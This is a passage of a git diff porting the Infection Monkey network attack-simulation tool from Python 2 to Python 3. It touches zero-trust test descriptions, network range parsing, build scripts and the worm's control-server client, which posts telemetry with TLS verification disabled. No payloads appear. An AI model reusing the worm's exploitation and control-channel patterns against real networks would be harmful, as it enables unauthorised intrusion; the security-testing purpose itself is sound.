is_linux, instance_id, region = None): + def __init__(self, is_linux, instance_id, region=None): super(AwsCmdRunner, self).__init__(is_linux) self.instance_id = instance_id self.region = region @@ -28,9 +28,9 @@ class AwsCmdRunner(CmdRunner): return AwsCmdResult(command_info) def get_command_status(self, command_info): - if command_info[u'Status'] == u'InProgress': + if command_info['Status'] == 'InProgress': return CmdStatus.IN_PROGRESS - elif command_info[u'Status'] == u'Success': + elif command_info['Status'] == 'Success': return CmdStatus.SUCCESS else: return CmdStatus.FAILURE diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py index 6686508a4..0450321b0 100644 --- a/monkey/common/cmd/cmd_runner.py +++ b/monkey/common/cmd/cmd_runner.py @@ -61,7 +61,7 @@ class CmdRunner(object): command_instance_dict[command] = instance instance_results = {} - command_result_pairs = CmdRunner.wait_commands(command_instance_dict.keys()) + command_result_pairs = CmdRunner.wait_commands(list(command_instance_dict.keys())) for command, result in command_result_pairs: instance = command_instance_dict[command] instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result) diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py index a8c1a93f7..978540b10 100644 --- a/monkey/common/data/__init__.py +++ b/monkey/common/data/__init__.py @@ -1,2 +1,3 @@ -from zero_trust_consts import populate_mappings +from .zero_trust_consts import populate_mappings + populate_mappings() diff --git a/monkey/common/data/network_consts.py b/monkey/common/data/network_consts.py index 5fc9d6d8a..b194c9421 100644 --- a/monkey/common/data/network_consts.py +++ b/monkey/common/data/network_consts.py @@ -1,2 +1 @@ ES_SERVICE = 'elastic-search-9200' - diff --git a/monkey/common/data/system_info_collectors_names.py b/monkey/common/data/system_info_collectors_names.py new file mode 100644 index 000000000..831bbe142 --- /dev/null +++ b/monkey/common/data/system_info_collectors_names.py @@ -0,0 +1,4 @@ +AWS_COLLECTOR = "AwsCollector" +HOSTNAME_COLLECTOR = "HostnameCollector" +ENVIRONMENT_COLLECTOR = "EnvironmentCollector" +PROCESS_LIST_COLLECTOR = "ProcessListCollector" diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 4add05d04..7135485da 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -6,31 +6,31 @@ This file contains static mappings between zero trust components such as: pillar Some of the mappings are computed when this module is loaded. """ -AUTOMATION_ORCHESTRATION = u"Automation & Orchestration" -VISIBILITY_ANALYTICS = u"Visibility & Analytics" -WORKLOADS = u"Workloads" -DEVICES = u"Devices" -NETWORKS = u"Networks" -PEOPLE = u"People" -DATA = u"Data" +AUTOMATION_ORCHESTRATION = "Automation & Orchestration" +VISIBILITY_ANALYTICS = "Visibility & Analytics" +WORKLOADS = "Workloads" +DEVICES = "Devices" +NETWORKS = "Networks" +PEOPLE = "People" +DATA = "Data" PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION) -STATUS_UNEXECUTED = u"Unexecuted" -STATUS_PASSED = u"Passed" -STATUS_VERIFY = u"Verify" -STATUS_FAILED = u"Failed" +STATUS_UNEXECUTED = "Unexecuted" +STATUS_PASSED = "Passed" +STATUS_VERIFY = "Verify" +STATUS_FAILED = "Failed" # Don't change order! The statuses are ordered by importance/severity. ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED] -TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" -TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" -TEST_MACHINE_EXPLOITED = u"machine_exploited" -TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists" -TEST_SCHEDULED_EXECUTION = u"scheduled_execution" -TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline" -TEST_SEGMENTATION = u"segmentation" -TEST_TUNNELING = u"tunneling" -TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user" +TEST_DATA_ENDPOINT_ELASTIC = "unencrypted_data_endpoint_elastic" +TEST_DATA_ENDPOINT_HTTP = "unencrypted_data_endpoint_http" +TEST_MACHINE_EXPLOITED = "machine_exploited" +TEST_ENDPOINT_SECURITY_EXISTS = "endpoint_security_exists" +TEST_SCHEDULED_EXECUTION = "scheduled_execution" +TEST_MALICIOUS_ACTIVITY_TIMELINE = "malicious_activity_timeline" +TEST_SEGMENTATION = "segmentation" +TEST_TUNNELING = "tunneling" +TEST_COMMUNICATE_AS_NEW_USER = "communicate_as_new_user" TESTS = ( TEST_SEGMENTATION, TEST_MALICIOUS_ACTIVITY_TIMELINE, @@ -43,32 +43,33 @@ TESTS = ( TEST_COMMUNICATE_AS_NEW_USER ) -PRINCIPLE_DATA_TRANSIT = u"data_transit" -PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security" -PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour" -PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" -PRINCIPLE_SEGMENTATION = u"segmentation" -PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" -PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies" +PRINCIPLE_DATA_TRANSIT = "data_transit" +PRINCIPLE_ENDPOINT_SECURITY = "endpoint_security" +PRINCIPLE_USER_BEHAVIOUR = "user_behaviour" +PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = "analyze_network_traffic" +PRINCIPLE_SEGMENTATION = "segmentation" +PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = "network_policies" +PRINCIPLE_USERS_MAC_POLICIES = "users_mac_policies" PRINCIPLES = { - PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", - PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", - PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", - PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", - PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.", - PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", - PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory " - u"Access Control) only.", + PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your network.", + PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.", + PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.", + PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint security solutions.", + PRINCIPLE_DATA_TRANSIT: "Secure data at transit by encrypting it.", + PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.", + PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandetory " + "Access Control) only.", } -POSSIBLE_STATUSES_KEY = u"possible_statuses" -PILLARS_KEY = u"pillars" -PRINCIPLE_KEY = u"principle_key" -FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation" -TEST_EXPLANATION_KEY = u"explanation" +POSSIBLE_STATUSES_KEY = "possible_statuses" +PILLARS_KEY = "pillars" +PRINCIPLE_KEY = "principle_key" +FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation" +TEST_EXPLANATION_KEY = "explanation" TESTS_MAP = { TEST_SEGMENTATION: { - TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", + TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's " + "running on, that belong to different network segments.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." @@ -78,7 +79,8 @@ TESTS_MAP = { POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] }, TEST_MALICIOUS_ACTIVITY_TIMELINE: { - TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", + TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting " + "exploitation.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." }, @@ -87,19 +89,22 @@ TESTS_MAP = { POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] }, TEST_ENDPOINT_SECURITY_EXISTS: { - TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.", + TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", - STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." + STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus " + "software on endpoints.", + STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a " + "security concern. " }, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, TEST_MACHINE_EXPLOITED: { - TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.", + TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", + STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see " + "which endpoints were compromised.", STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." }, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, @@ -109,7 +114,8 @@ TESTS_MAP = { TEST_SCHEDULED_EXECUTION: { TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", + STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security " + "software.", STATUS_PASSED: "Monkey failed to execute in a scheduled manner." }, PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, @@ -117,38 +123,42 @@ TESTS_MAP = { POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] }, TEST_DATA_ENDPOINT_ELASTIC: { - TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.", + TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", - STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." + STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts " + "that indicate attempts to access them. " }, PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, TEST_DATA_ENDPOINT_HTTP: { - TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.", + TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", - STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." + STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate " + "attempts to access them. " }, PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, TEST_TUNNELING: { - TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.", + TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." + STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - " + "restrict them. " }, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] }, TEST_COMMUNICATE_AS_NEW_USER: { - TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.", + TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", + STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - " + "restrict them to MAC only.", STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." }, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, @@ -184,7 +194,7 @@ def populate_mappings(): def populate_pillars_to_tests(): for pillar in PILLARS: - for test, test_info in TESTS_MAP.items(): + for test, test_info in list(TESTS_MAP.items()): if pillar in test_info[PILLARS_KEY]: PILLARS_TO_TESTS[pillar].append(test) @@ -192,12 +202,12 @@ def populate_pillars_to_tests(): def populate_principles_to_tests(): for single_principle in PRINCIPLES: PRINCIPLES_TO_TESTS[single_principle] = [] - for test, test_info in TESTS_MAP.items(): + for test, test_info in list(TESTS_MAP.items()): PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test) def populate_principles_to_pillars(): - for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): + for principle, principle_tests in list(PRINCIPLES_TO_TESTS.items()): principles_pillars = set() for test in principle_tests: for pillar in TESTS_MAP[test][PILLARS_KEY]: diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index de89f7e4a..15e04f893 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -4,7 +4,6 @@ import struct from abc import ABCMeta, abstractmethod import ipaddress -from six import text_type import logging __author__ = 'itamar' @@ -12,9 +11,7 @@ __author__ = 'itamar' LOG = logging.getLogger(__name__) -class NetworkRange(object): - __metaclass__ = ABCMeta - +class NetworkRange(object, metaclass=ABCMeta): def __init__(self, shuffle=True): self._shuffle = shuffle @@ -47,9 +44,9 @@ class NetworkRange(object): @staticmethod def get_range_obj(address_str): - address_str = address_str.strip() if not address_str: # Empty string return None + address_str = address_str.strip() if NetworkRange.check_if_range(address_str): return IpRange(ip_range=address_str) if -1 != address_str.find('/'): @@ -62,7 +59,7 @@ class NetworkRange(object): ips = address_str.split('-') try: ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) - except ValueError as e: + except ValueError: return False return True return False @@ -80,7 +77,7 @@ class CidrRange(NetworkRange): def __init__(self, cidr_range, shuffle=True): super(CidrRange, self).__init__(shuffle=shuffle) self._cidr_range = cidr_range.strip() - self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False) + self._ip_network = ipaddress.ip_network(str(self._cidr_range), strict=False) def __repr__(self): return "<CidrRange %s>" % (self._cidr_range,) @@ -119,7 +116,7 @@ class IpRange(NetworkRange): return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num def _get_range(self): - return range(self._lower_end_ip_num, self._higher_end_ip_num + 1) + return list(range(self._lower_end_ip_num, self._higher_end_ip_num + 1)) class SingleIpRange(NetworkRange): @@ -153,30 +150,26 @@ class SingleIpRange(NetworkRange): return self._ip_address @staticmethod - def string_to_host(string): + def string_to_host(string_): """ Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip - :param string: String that was entered in "Scan IP/subnet list" + :param string_: String that was entered in "Scan IP/subnet list" :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) """ # The most common use case is to enter ip/range into "Scan IP/subnet list" domain_name = '' - # Make sure to have unicode string - user_input = string.decode('utf-8', 'ignore') - # Try casting user's input as IP try: - ip = ipaddress.ip_address(user_input).exploded + ip = ipaddress.ip_address(string_).exploded except ValueError: # Exception means that it's a domain name try: - ip = socket.gethostbyname(string) - domain_name = string + ip = socket.gethostbyname(string_) + domain_name = string_ except socket.error: LOG.error("Your specified host: {} is not found as a domain name and" - " it's not an IP address".format(string)) - return None, string - # If a string was entered instead of IP we presume that it was domain name and translate it + " it's not an IP address".format(string_)) + return None, string_ + # If a string_ was entered instead of IP we presume that it was domain name and translate it return ip, domain_name - diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py index 56a560922..9dea1af19 100644 --- a/monkey/common/network/segmentation_utils_test.py +++ b/monkey/common/network/segmentation_utils_test.py @@ -1,4 +1,4 @@ -from common.network.network_range import * +from common.network.network_range import CidrRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -11,20 +11,20 @@ class TestSegmentationUtils(IslandTestCase): # IP not in both self.assertIsNone(get_ip_in_src_and_not_in_dst( - [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target + ["3.3.3.3", "4.4.4.4"], source, target )) # IP not in source, in target self.assertIsNone(get_ip_in_src_and_not_in_dst( - [text_type("2.2.2.2")], source, target + ["2.2.2.2"], source, target )) # IP in source, not in target self.assertIsNotNone(get_ip_in_src_and_not_in_dst( - [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target + ["8.8.8.8", "1.1.1.1"], source, target )) # IP in both subnets self.assertIsNone(get_ip_in_src_and_not_in_dst( - [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source + ["8.8.8.8", "1.1.1.1"], source, source )) diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index d6d407706..214e6d108 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -1,10 +1,10 @@ - - # abstract, static method decorator +# noinspection PyPep8Naming class abstractstatic(staticmethod): __slots__ = () def __init__(self, function): super(abstractstatic, self).__init__(function) function.__isabstractmethod__ = True + __isabstractmethod__ = True diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py index 7524a545e..854109b30 100644 --- a/monkey/common/utils/mongo_utils.py +++ b/monkey/common/utils/mongo_utils.py @@ -12,8 +12,8 @@ class MongoUtils: @staticmethod def fix_obj_for_mongo(o): - if type(o) == dict: - return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()]) + if isinstance(o, dict): + return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in list(o.items())]) elif type(o) in (list, tuple): return [MongoUtils.fix_obj_for_mongo(i) for i in o] @@ -21,7 +21,7 @@ class MongoUtils: elif type(o) in (int, float, bool): return o - elif type(o) in (str, unicode): + elif isinstance(o, str): # mongo dosn't like unprintable chars, so we use repr :/ return repr(o) @@ -80,4 +80,3 @@ class MongoUtils: continue return row - diff --git a/monkey/common/utils/reg_utils.py b/monkey/common/utils/reg_utils.py index 1e6c297b3..fad92df5e 100644 --- a/monkey/common/utils/reg_utils.py +++ b/monkey/common/utils/reg_utils.py @@ -1,4 +1,4 @@ -import _winreg +import winreg from common.utils.mongo_utils import MongoUtils @@ -12,11 +12,11 @@ class RegUtils: pass @staticmethod - def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): - key = _winreg.ConnectRegistry(None, store) - subkey = _winreg.OpenKey(key, subkey_path) + def get_reg_key(subkey_path, store=winreg.HKEY_LOCAL_MACHINE): + key = winreg.ConnectRegistry(None, store) + subkey = winreg.OpenKey(key, subkey_path) - d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) + d = dict([winreg.EnumValue(subkey, i)[:2] for i in range(winreg.QueryInfoKey(subkey)[0])]) d = MongoUtils.fix_obj_for_mongo(d) subkey.Close() diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py index 7b1dae455..4df0e6886 100644 --- a/monkey/common/utils/wmi_utils.py +++ b/monkey/common/utils/wmi_utils.py @@ -1,6 +1,6 @@ import wmi -from mongo_utils import MongoUtils +from .mongo_utils import MongoUtils __author__ = 'maor.rayzin' diff --git a/monkey/common/version.py b/monkey/common/version.py new file mode 100644 index 000000000..9d60e636c --- /dev/null +++ b/monkey/common/version.py @@ -0,0 +1,25 @@ +# To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for details). +import argparse +from pathlib import Path + +MAJOR = "1" +MINOR = "8" +PATCH = "0" +build_file_path = Path(__file__).parent.joinpath("BUILD") +with open(build_file_path, "r") as build_file: + BUILD = build_file.read() + + +def get_version(build=BUILD): + return f"{MAJOR}.{MINOR}.{PATCH}+{build}" + + +def print_version(): + parser = argparse.ArgumentParser() + parser.add_argument("-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str) + args = parser.parse_args() + print(get_version(args.build)) + + +if __name__ == '__main__': + print_version() diff --git a/monkey/infection_monkey.py b/monkey/infection_monkey.py index 86e5f5657..a63dec069 100644 --- a/monkey/infection_monkey.py +++ b/monkey/infection_monkey.py @@ -1,4 +1,4 @@ -import infection_monkey.main +from infection_monkey.main import main if "__main__" == __name__: - infection_monkey.main.main() + main() diff --git a/monkey/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh index fcaf4c75d..68abd4758 100644 --- a/monkey/infection_monkey/build_linux.sh +++ b/monkey/infection_monkey/build_linux.sh @@ -1,2 +1,17 @@ #!/bin/bash + +# Allow custom build ID +# If the first argument is not empty... +if [[ -n "$1" ]] +then + # Validate argument is a valid build string + if [[ "$1" =~ ^[\da-zA-Z]*$ ]] + then + # And put it in the BUILD file + echo "$1" > ../common/BUILD + else + echo "Build ID $1 invalid!" + fi +fi + pyinstaller -F --log-level=DEBUG --clean monkey.spec diff --git a/monkey/infection_monkey/build_windows.bat b/monkey/infection_monkey/build_windows.bat index f763bda6b..93e4e4a42 100644 --- a/monkey/infection_monkey/build_windows.bat +++ b/monkey/infection_monkey/build_windows.bat @@ -1 +1,12 @@ +REM Check if build ID was passed to the build script. +if "%1"=="" GOTO START_BUILD + +REM Validate build ID +echo %1|findstr /r "^[0-9a-zA-Z]*$" +if %errorlevel% neq 0 (exit /b %errorlevel%) + +REM replace build ID +echo %1> ../common/BUILD + +:START_BUILD pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 5d69e8bd9..5c5b5a392 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,12 +1,10 @@ import hashlib -import os import json +import os import sys -import types import uuid from abc import ABCMeta from itertools import product -import importlib __author__ = 'itamar' @@ -14,36 +12,24 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') -SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"] +SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys"] HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden" class Configuration(object): def from_kv(self, formatted_data): - # now we won't work at <2.7 for sure - network_import = importlib.import_module('infection_monkey.network') - exploit_import = importlib.import_module('infection_monkey.exploit') - unknown_items = [] - for key, value in formatted_data.items(): + for key, value in list(formatted_data.items()): if key.startswith('_'): continue if key in ["name", "id", "current_server"]: continue if self._depth_from_commandline and key == "depth": continue - # handle in cases - if key == 'finger_classes': - class_objects = [getattr(network_import, val) for val in value] - setattr(self, key, class_objects) - elif key == 'exploiter_classes': - class_objects = [getattr(exploit_import, val) for val in value] - setattr(self, key, class_objects) + if hasattr(self, key): + setattr(self, key, value) else: - if hasattr(self, key): - setattr(self, key, value) - else: - unknown_items.append(key) + unknown_items.append(key) return unknown_items def from_json(self, json_data): @@ -74,7 +60,7 @@ class Configuration(object): val_type = type(value) - if val_type is types.FunctionType or val_type is types.MethodType: + if callable(value): continue if val_type in (type, ABCMeta): @@ -139,6 +125,7 @@ class Configuration(object): finger_classes = [] exploiter_classes = [] + system_info_collectors_classes = [] # how many victims to look for in a single scan iteration victims_max_find = 100 @@ -287,7 +274,7 @@ class Configuration(object): :param sensitive_data: the data to hash. :return: the hashed data. """ - password_hashed = hashlib.sha512(sensitive_data).hexdigest() + password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest() return password_hashed diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 4e917e5a6..8b45bab2c 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel from infection_monkey.config import WormConfiguration, GUID -from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT +from infection_monkey.network.info import local_ips, check_internet_access from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.tcp import TcpProxy @@ -53,7 +53,7 @@ class ControlClient(object): if ControlClient.proxies: monkey['tunnel'] = ControlClient.proxies.get('https') - requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), + requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123 data=json.dumps(monkey), headers={'content-type': 'application/json'}, verify=False, @@ -76,7 +76,7 @@ class ControlClient(object): if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - requests.get("https://%s/api?action=is-up" % (server,), + requests.get("https://%s/api?action=is-up" % (server,), # noqa: DUO123 verify=False, proxies=ControlClient.proxies, timeout=TIMEOUT_IN_SECONDS) @@ -85,7 +85,7 @@ class ControlClient(object): except ConnectionError as exc: current_server = "" - LOG.warn("Error connecting to control server %s: %s", server, exc) + LOG.warning("Error connecting to control server %s: %s", server, exc) if current_server: return True @@ -112,14 +112,14 @@ class ControlClient(object): monkey = {} if ControlClient.proxies: monkey['tunnel'] = ControlClient.proxies.get('https') - reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies) + requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 + data=json.dumps(monkey), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) return {} @staticmethod @@ -129,14 +129,14 @@ class ControlClient(object): return try: telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data} - reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), - data=json.dumps(telemetry), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies) + requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(telemetry), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) @staticmethod def send_log(log): @@ -144,27 +144,27 @@ class ControlClient(object): return try: telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)} - reply = requests.post("https://%s/api/log" % (WormConfiguration.current_server,), - data=json.dumps(telemetry), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies) + requests.post("https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(telemetry), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) @staticmethod def load_control_config(): if not WormConfiguration.current_server: return try: - reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 verify=False, proxies=ControlClient.proxies) except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) return try: @@ -185,13 +185,13 @@ class ControlClient(object): if not WormConfiguration.current_server: return try: - requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 data=json.dumps({'config_error': True}), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) + LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) return {} @staticmethod @@ -247,7 +247,7 @@ class ControlClient(object): if 